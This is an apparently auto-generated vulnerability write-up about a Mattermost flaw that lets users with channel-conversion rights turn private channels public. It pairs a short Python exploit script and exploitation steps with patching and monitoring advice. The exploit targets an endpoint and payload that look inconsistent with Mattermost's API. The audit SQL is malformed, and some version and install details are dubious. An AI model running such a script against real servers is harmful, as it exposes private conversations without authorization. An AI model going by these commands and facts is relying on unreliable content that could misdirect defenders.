How the CVE Works:
This vulnerability exists in Mattermost versions 10.4.x <= 10.4.2, 10.3.x <= 10.3.3, and 9.11.x <= 9.11.8. The issue arises due to improper enforcement of channel conversion restrictions. Specifically, users with permissions to convert public channels to private can also convert private channels to public, bypassing intended access controls. This misconfiguration can lead to unintended exposure of sensitive information stored in private channels, as they can be made public without proper authorization. The flaw stems from inadequate validation checks during the channel conversion process, allowing unauthorized changes to channel visibility settings.
DailyCVE Form:
Platform: Mattermost
Version: <= 10.4.2, <= 10.3.3, <= 9.11.8
Vulnerability: Improper Access Control
Severity: Moderate
Date: Mar 21, 2025
What Undercode Say:
Exploitation:
1. Exploit Code:
import requests
def exploit_mattermost(base_url, channel_id, auth_token):
headers = {"Authorization": f"Bearer {auth_token}"}
payload = {"channel_id": channel_id, "privacy": "public"}
response = requests.post(f"{base_url}/api/v4/channels/convert", headers=headers, json=payload)
if response.status_code == 200:
print("Channel converted to public successfully.")
else:
print("Exploit failed.")
2. Steps to Exploit:
- Obtain a valid authentication token with channel conversion permissions.
- Identify a private channel ID.
- Use the exploit script to convert the private channel to public.
Protection:
1. Patch Installation:
Upgrade to Mattermost versions 10.4.3, 10.3.4, 9.11.9, or 8.0.0-20250218135018-e644e3c8e393 to fix the vulnerability.
2. Temporary Mitigation:
- Restrict channel conversion permissions to trusted users only.
- Monitor logs for unauthorized channel conversion attempts.
3. Security Commands:
- Check current Mattermost version:
mattermost version
- Apply patches:
sudo apt-get update && sudo apt-get install mattermost
4. Log Monitoring:
- Use the following command to monitor channel conversion logs:
tail -f /var/log/mattermost/mattermost.log | grep "channel_conversion"
5. Access Control Review:
- Audit user roles and permissions:
SELECT FROM Roles WHERE Permissions LIKE '%convert_channel%';
6. Automated Alerting:
- Set up alerts for unauthorized channel conversions using Mattermost webhooks:
curl -X POST -H 'Content-Type: application/json' -d '{"text":"Unauthorized channel conversion detected"}' https://your-mattermost-server/hooks/your-webhook-idBy following these steps, organizations can mitigate the risk associated with this vulnerability and ensure their Mattermost instances remain secure.
References:
Reported By: https://github.com/advisories/GHSA-h5v9-xw2g-7hrq
Extra Source Hub:
Undercode
